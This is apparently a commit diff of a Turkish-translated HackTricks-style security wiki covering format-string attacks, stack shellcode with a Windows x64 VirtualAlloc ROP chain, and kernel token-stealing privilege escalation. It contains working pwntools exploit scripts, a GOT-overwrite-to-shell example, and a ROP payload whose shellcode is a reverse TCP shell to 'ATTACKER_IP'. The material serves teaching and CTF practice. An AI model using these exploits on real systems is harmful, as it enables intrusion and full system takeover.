Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ

This commit is contained in:
Translator 2025-08-28 16:57:56 +00:00
parent 42105466e3
commit 1b705beff8
5 changed files with 714 additions and 456 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -5,13 +5,13 @@
## Temel Bilgiler
C'de **`printf`** bazı metinleri **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek** için gereken **değerler**dir.
C'de **`printf`** bir stringi **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **format belirleyicileriyle birlikte ham metindir**. Beklenen **izleyen parametreler** ise ham metindeki **format belirleyicilerini** **yerine koymak için** kullanılacak **değerlere** karşılık gelir.
Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
Zafiyet, bu fonksiyona **ilk argüman olarak bir saldırgan metni kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak** için özel bir **girdi oluşturma** yeteneğine sahip olacaktır. Bu şekilde **rastgele kod çalıştırma** imkanı bulur.
Zafiyet, bu fonksiyona **saldırgan tarafından oluşturulmuş bir metnin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format string** yeteneklerini kötüye kullanarak özel bir girdi oluşturabilecek ve böylece herhangi bir adresten **herhangi bir veriyi okumak ve yazmak (okunabilir/yazılabilir)** imkanına sahip olacaktır. Bu yolla **rastgele kod çalıştırma** mümkün hale gelir.
#### Formatlayıcılar:
#### Format belirleyicileri:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -24,7 +24,7 @@ Zafiyet, bu fonksiyona **ilk argüman olarak bir saldırgan metni kullanıldığ
```
**Örnekler:**
- ık örnek:
- Zafiyetli örnek:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf zayıf:
- fprintf zafiyeti:
```c
#include <stdio.h>
@ -52,28 +52,28 @@ fclose(output_file);
return 0;
}
```
### **Pointer'lara Erişim**
### **İşaretçilere Erişim**
Format **`%<n>$x`**, burada `n` bir sayı, printf'e n parametresini (stack'ten) seçmesini belirtir. Yani, printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
Biçim **`%<n>$x`**, burada `n` bir sayı olup, printf'in stack'ten n. parametreyi seçmesini sağlar. Yani stack'ten 4. parametreyi printf ile okumak istiyorsanız şu şekilde yapabilirsiniz:
```c
printf("%x %x %x %x")
```
ve birinci parametreden dördüncü parametreye kadar okuyabilirsiniz.
ve birinci ile dördüncü parametreyi okurdunuz.
Ya da şunu yapabilirsiniz:
Ya da şunu yapabilirdiniz:
```c
printf("%4$x")
```
ve doğrudan dördüncüyü oku.
ve doğrudan dördüncüyü okumak.
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
Dikkat edin ki saldırgan `printf` **parameter'ını kontrol eder, bu temel olarak demektir ki** onun girdisi `printf` çağrıldığında stack'te olacak; bu da stack'e belirli address'ler yazabileceği anlamına gelir.
> [!CAUTION]
> Bu girişi kontrol eden bir saldırgan, **yığında rastgele adresler ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bu davranışın nasıl kullanılacağı bir sonraki bölümdeıklanacaktır.
> Bu girdiyi kontrol eden bir saldırgan, stack'e **istediği address'i ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.
## **Rastgele Okuma**
## **Arbitrary Read**
Biçimlendiriciyi **`%n$s`** kullanarak **`printf`'in** **n pozisyonunda** bulunan **adres**i almasını sağlamak mümkündür, ardından bunu **bir dizeymiş gibi yazdırır** (0x00 bulunana kadar yazdırır). Yani, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
`%n$s` **formatter**'ını kullanarak **`printf`**'in **n pozisyonunda** bulunan **address**'i almasını, onu takip etmesini ve **sanki bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu yüzden eğer binary'nin base address'i **`0x8048000`** ise ve kullanıcı girdisinin stack'te 4. pozisyonda başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:
```python
from pwn import *
@ -87,15 +87,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü dize, o adresin sonunda 0x00 ile kesilecektir.
> 0x8048000 adresini input'un başına koyamazsınız çünkü string o adresin sonunda 0x00 ile kesilecektir.
### Ofseti Bul
### Find offset
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile **arttırarak** `A'ları` alana kadar değeri artırabilirsiniz.
input'unuza olan offset'i bulmak için 4 veya 8 bytes (`0x41414141`) gönderip ardından **`%1$x`** ekleyebilir ve **değeri artırarak** `A's`'ları alana kadar ilerleyebilirsiniz.
<details>
<summary>Brute Force printf ofseti</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -126,39 +126,39 @@ p.close()
```
</details>
### Ne kadar faydalı
### Ne işe yarar
Rastgele okumalar şunlar için faydalı olabilir:
Arbitrary reads şu amaçlarla faydalı olabilir:
- **Bellekten** **ikili** **dökümü** almak
- **Hassas** **bilgilerin** saklandığı bellek alanlarına (canary'ler, şifreleme anahtarları veya bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi özel şifreler) **erişim** sağlamak
- **Dump** bellekteki **binary**'yi çıkarmak
- Belleğin hassas **info**'nun saklandığı belirli bölümlerine erişmek (ör. **canaries**, **encryption keys** veya özel parolalar; örneğin bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Rastgele Yazma**
## **Arbitrary Write**
Formatlayıcı **`%<num>$n`** **yazılan bayt sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`** ile rastgele bir sayıyı rastgele bir adrese yazabilir.
Formatlayıcı **`%<num>$n`** **yazar** stack'teki <num> parametresinin gösterdiği **yazılan byte sayısını** **gösterilen adrese**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'in herhangi bir sayıyı herhangi bir adrese yazmasını sağlayabilir.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bu nedenle **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` pozisyonunu gösteren adrese** yazmak mümkündür.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 tane "A" eklemeye gerek yok; bunun yerine formatlayıcı **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısını **`num` pozisyonunun işaret ettiği adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için.
Ancak, genellikle `0x08049724` gibi bir adresi yazmak (tek seferde yazılması çok BÜYÜK bir sayı olduğu için), **`$hn`** kullanılır `$n` yerine. Bu, **sadece 2 Byte yazmaya** izin verir. Bu nedenle bu işlem iki kez yapılır: adresin yüksek 2B'si için bir kez ve düşük olanlar için bir kez daha.
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazmaya** olanak tanır.
Dolayısıyla, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazmaya (arbitrary write)** izin verir.
Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fonksiyonun** **adresini** **üst üste yazmak** olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir:
Bu örnekte amaç, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun **adresini** **üzerine yazmak (overwrite)** olacak. Ancak bu, diğer arbitrary write -> exec teknikleriyle de sömürülebilir:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Bir **fonksiyonu** **üst üste yazacağız** ki bu **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\
Belirttiğimiz gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
Kullanıcının argümanlarını alan bir fonksiyonu **overwrite** edip bunu `system` fonksiyonuna **işaret edeceğiz**.\
Bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: önce adresin 2 Byte'ını yazarsınız, sonra diğer 2 Byte'ı. Bunu yapmak için **`$hn`** kullanılır.
- **HOB**, adresin 2 yüksek baytına çağrılır
- **LOB**, adresin 2 düşük baytına çağrılır
- **HOB**, adresin üst 2 byteları için kullanılır
- **LOB**, adresin alt 2 byteları için kullanılır
Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB] içindeki en küçüğü **yazmanız** gerekir ve sonra diğerini.
Daha sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] içindeki **küçüğü** yazmanız, sonra diğerini yazmanız gerekir.
Eğer HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -179,7 +179,7 @@ Bu tür bir zafiyet için bir exploit hazırlamak üzere bir **şablon** bulabil
format-strings-template.md
{{#endref}}
Ya da [**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) bu temel örneği:
Ya da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek:
```python
from pwn import *
@ -198,20 +198,62 @@ p.sendline('/bin/sh')
p.interactive()
```
## Format String'leri ile BOF
## Format Strings to BOF
Format string zafiyetinin yazma eylemlerini kötüye kullanarak **stack adreslerine yazmak** ve **buffer overflow** türü bir zafiyeti istismar etmek mümkündür.
Bir format string açığının write işlemlerini kötüye kullanarak stack üzerindeki adreslere yazmak ve bir buffer overflow türü açığını exploit etmek mümkündür.
## Diğer Örnekler ve Referanslar
## Windows x64: Format-string leak to bypass ASLR (no varargs)
Windows x64'te ilk dört integer/pointer parametre RCX, RDX, R8, R9 register'larında geçirilir. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır fakat hiçbir variadic argument sağlanmaz, örneğin:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
Pratik iş akışı:
- Saldırgan-kontrolündeki string'in en başına "%p " gibi zararsız bir format enjekte edin, böylece ilk dönüşüm herhangi bir filtrelemeden önce çalışır.
- Leak edilen pointer'ı yakalayın, o objenin modül içindeki statik offset'ini belirleyin (bir kere symbol'lerle veya yerel bir kopya ile reverse ederek) ve image base'i `leak - known_offset` olarak geri kazanın.
- Bu base'i uzak olarak ROP gadgets ve IAT entries için mutlak adresler hesaplamak üzere yeniden kullanın.
Example (abbreviated python):
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
Notes:
- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra yeniden kullanılır (aynı binary/version).
- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya birden fazla conversion ("%p %p %p") deneyerek diğer argument registers/stack'i örnekleyin.
- Bu pattern, format string onları istediğinde olmayan varargs'ları registers'tan çeken Windows x64 calling convention ve printf-family implementasyonlarına özgüdür.
Bu teknik, ASLR ile derlenmiş ve bariz memory disclosure primitives olmayan Windows services üzerinde ROP'u bootstrap etmek için son derece kullanışlıdır.
## Diğer Örnekler & Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, format string'lerin temel kullanımı ile stack'ten flag'i sızdırmak (işlem akışını değiştirmeye gerek yok)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string ile `fflush` adresini win fonksiyonu ile üzerine yazmak (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string ile `.fini_array` içinde main'e bir adres yazmak (böylece akış bir kez daha döner) ve GOT tablosundaki `system` adresini `strlen`'a işaret edecek şekilde yazmak. Akış main'e döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
## Referanslar
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
## Temel Bilgi
**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve bununla birlikte **pwntools** kullanarak nasıl bir istismar yazabileceğinize dair bilgiler.
**Stack shellcode** bir saldırganın shellcode'u zafiyetli bir programın stack'ine yazdığı ve ardından bu shellcode'un bulunduğu konumu işaret edecek şekilde **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'i değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu sayede shellcode çalıştırılır. Bu, hedef bir sistemde yetkisiz erişim elde etmek veya rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. Aşağıda sürecin bir dökümü, basit bir C örneği ve **pwntools** ile nasıl bir exploit yazabileceğinize dair bilgiler yer almaktadır.
### C Örneği: Savunmasız Bir Program
### C Örneği: Zafiyetli Bir Program
Basit bir savunmasız C programı örneğiyle başlayalım:
Basit bir zafiyetli C programı örneğiyle başlayalım:
```c
#include <stdio.h>
#include <string.h>
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflowığına sahiptir.
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır.
### Derleme
Bu programı çeşitli korumaları devre dışı bırakarak (ık bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortamı simüle etmek için) derlemek için şu komutu kullanabilirsiniz:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.
- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un yer alacağı bellek adresini tahmin etmeyi kolaylaştırır.
- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
- `-fno-stack-protector`: Stack korumasını devre dışı bırakır.
- `-z execstack`: Stack'i çalıştırılabilir hale getirir; bu, stack'te depolanan shellcode'u çalıştırmak için gereklidir.
- `-no-pie`: Position Independent Executable'i devre dışı bırakır; bu, shellcode'umuzun bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
- `-m32`: Programı 32-bit executable olarak derler; genellikle exploit geliştirmede sadelik için kullanılır.
### Python Exploit using Pwntools
### Python'da Pwntools kullanarak Exploit
İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir istismar yazmanın yolu:
Aşağıda **pwntools** kullanarak Python'da bir exploit yazarak **ret2shellcode** saldırısını nasıl gerçekleştirebileceğinizi gösteren bir örnek bulunmaktadır:
```python
from pwn import *
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
Bu script, **NOP slide**, **shellcode** içeren ve ardından **EIP**'i NOP slide'a işaret eden adresle üzerine yazarak shellcode'un çalışmasını sağlayan bir payload oluşturur.
**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın.
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## Koruma Önlemleri
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde, fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde, ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, shellcode'un stack içinde çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
## Diğer Örnekler ve Referanslar
Önemli noktalar (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → mevcut stack'te bir adres seçin (e.g., RSP) böylece yeni ayırılan RWX bölge payload'unuzla çakışsın
- RDX = dwSize → zinciriniz + shellcode'unuz için yeterince büyük (e.g., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Zincirin hemen sonrasına konan shellcode'a doğrudan dönün.
Minimal strateji:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
Örnek düzen (kavramsal):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
Sınırlı bir gadget setiyle, register değerlerini dolaylı olarak oluşturabilirsiniz, örneğin:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9'u rbx'ten ayarlar, r8'i sıfırlar ve stack'i bir junk qword ile telafi eder.
- xor rbx, rsp; ret → rbx'i mevcut stack pointer ile başlatır.
- push rbx; pop rax; mov rcx, rax; ret → RSP'den türetilmiş değeri RCX'e taşır.
Pwntools taslağı (bilinen bir base ve gadgets verildiğinde):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
İpuçları:
- VirtualProtect benzer şekilde çalışır eğer mevcut bir buffer'ı RX yapmak tercih ediliyorsa; parametre sırası farklıdır.
- Eğer stack alanı kısıtlıysa, RWX başka bir yerde ayır (RCX=NULL) ve stack'i tekrar kullanmak yerine o yeni bölgeye jmp yap.
- RSP'yi ayarlayan gadget'ları (e.g., add rsp, 8; ret) her zaman hesaba katmak için araya junk qwords ekle.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır**, çünkü adresin yürütmeler arasında güvenilir olması için; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmaz ve win fonksiyonunun nerede yüklendiğini bulmak için bir leak gerekir.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) aynı şekilde devre dışı bırakılmalıdır yoksa kompromit edilmiş EIP dönüş adresi asla takip edilmeyecektir.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, o bölge çalıştırılabilir olmayacağı için stack içindeki shellcode'un yürütülmesini engeller.
## Diğer Örnekler & Referanslar
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla
- 64bit, ASLR ile stack adres leak kullanılarak, shellcode yazıp ona atla
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla
- 32 bit, ASLR ile stack leak, shellcode yazıp ona atla
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla
- 32 bit, ASLR ile stack leak, exit() çağrısını engellemek için karşılaştırma, bir değişkeni bir değerle overwrite etme, shellcode yazıp ona atla
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, ASLR yok, stack'i çalıştırılabilir hale getirmek için ROP gadget ve stack'teki shellcode'a atla
- arm64, ASLR yok, stack'i çalıştırılabilir yapmak için ROP gadget ve stack'teki shellcode'a atlama
## Referanslar
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## Genel Bakış
Eğer bir vulnerable driver bir saldırganın arbitrary kernel read ve/veya write primitiflerine erişim sağlayan bir IOCTL sunuyorsa, NT AUTHORITY\SYSTEM yükseltmesi sıklıkla bir SYSTEM erişim tokenı çalınarak gerçekleştirilebilir. Teknik, bir SYSTEM processin EPROCESS içindeki Token pointerını mevcut processin EPROCESSine kopyalar.
Neden işe yarıyor:
- Her processin, (diğer alanlar arasında) bir Token (aslında token objesine işaret eden bir EX_FAST_REF) içeren bir EPROCESS yapısı vardır.
- SYSTEM process (PID 4) tüm ayrıcalıkları etkin olan bir tokena sahiptir.
- Mevcut processin EPROCESS.Tokenını SYSTEM token pointerı ile değiştirmek, mevcut processin hemen SYSTEM olarak çalışmasını sağlar.
> EPROCESS içindeki offsetler Windows sürümleri arasında değişir. Bunları dinamik olarak (symbols) belirleyin veya sürüme özel sabitler kullanın. Ayrıca EPROCESS.Tokenın bir EX_FAST_REF olduğunu unutmayın (alt 3 bit referans sayacı bayraklarıdır).
## Yüksek seviye adımlar
1) ntoskrnl.exe baseini bulun ve PsInitialSystemProcess adresini çözün.
- User modedan, yüklü driver baselerini almak için NtQuerySystemInformation(SystemModuleInformation) veya EnumDeviceDrivers kullanın.
- Kernel basee PsInitialSystemProcess offsetini (symbols/reversingden) ekleyerek adresini elde edin.
2) PsInitialSystemProcessteki pointerı okuyun → bu, SYSTEMin EPROCESSine işaret eden bir kernel pointerıdır.
3) SYSTEM EPROCESSinden UniqueProcessId ve ActiveProcessLinks offsetlerini okuyarak EPROCESS yapılarının çift bağlı listesini (ActiveProcessLinks.Flink/Blink) gezin; UniqueProcessIdsi GetCurrentProcessId() ile eşit olan EPROCESSi bulana kadar devam edin. İkisini saklayın:
- EPROCESS_SYSTEM (SYSTEM için)
- EPROCESS_SELF (mevcut process için)
4) SYSTEM token değerini okuyun: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- Alt 3 biti maskeleyin: Token_SYS_masked = Token_SYS & ~0xF (genelde ~0xF veya builde bağlı olarak ~0x7; x64 üzerinde alt 3 bit kullanılır — 0xFFFFFFFFFFFFFFF8 maskesi).
